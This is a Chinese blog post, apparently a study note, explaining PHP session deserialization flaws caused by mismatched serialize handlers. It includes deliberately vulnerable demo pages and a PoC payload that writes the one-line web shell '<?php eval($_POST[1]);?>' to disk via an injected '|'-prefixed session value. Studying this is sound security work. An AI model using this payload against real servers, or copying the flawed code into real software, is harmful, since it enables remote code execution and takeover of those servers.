PHP序列化之Session反序列化漏洞
本文内容主要是出各位师傅那里获取来的,主要是用于记录学习,和自己的一些心得体会。
Session反序列化漏洞
要了解这个漏洞必须知道Session序列化机制。
PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患
配置文件php.ini中含有这几个与session存储配置相关的配置项:
session.save_path="" --设置session的存储路径,默认在/tmp
session.auto_start --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler --定义用来序列化/反序列化的处理器名字。默认使用php
自己觉得:session形成漏洞的原因就是因为配置不正确或者是序列化和反序列化的方式。如果一个是使用php_serialize,而另一个使用php读取Session。因为他们的格式不一样,自己就可以伪造格式,从而可以控制数据。
例子:
下面是师傅提供的一个demo,自己改了一下。
/*session.php*/
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['nice'] = $_GET['nice'];
?>
/*test.php*/
<?php
ini_set('session.serialize_handler','php');
session_start();
class nice{
var $a;
function __destruct(){
$fp = fopen("D:\shell.php","w");
fputs($fp,$this->a);
fclose($fp);
}
}
?>
可以看到俩个页面使用了不同的序列化方法。
我们的目标就是实例一个$a让$a=<?php eval($_POST[1]);?>
,之后写入shell.php里面
所以我们就要访问session.php让/tmp存储可以用php反序列化的poc。
我们先随便在session.php页面随便传递一个值。
?nice=abc
写入/tmp里面的是
因为test.php采用php的序列化来读取session的值。
所以我们可以控制abc的值来构造满足PHP。
所以poc
<?php
class nice{
var $a='<?php eval($_POST[1]);?>';
}
$a=new nice();
echo serialize($a);
?>
#O:4:"nice":1:{s:1:"a";s:24:"<?php eval($_POST[1]);?>";}
我们只需要在序列化前面加个 |
然后访问test.php就成功写入一句话。
经过session.php序列化存放的是
a:1:{s:4:"nice";s:56:"|O:4:"nice":1:{s:1:"a";s:24:"<?php eval($_POST[1]);?>";}";}
之后成功生成文件!!!
参考链接
https://github.com/80vul/phpcodz/blob/master/research/pch-013.md#php-session-序列化及反序列化处理器设置使用不当带来的安全隐患
https://blog.csdn.net/nzjdsds/article/details/82703639?utm_source=app
https://www.jb51.net/article/116246.htm
https://www.freebuf.com/news/202819.html
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· C#/.NET/.NET Core技术前沿周刊 | 第 29 期(2025年3.1-3.9)
· 从HTTP原因短语缺失研究HTTP/2和HTTP/3的设计差异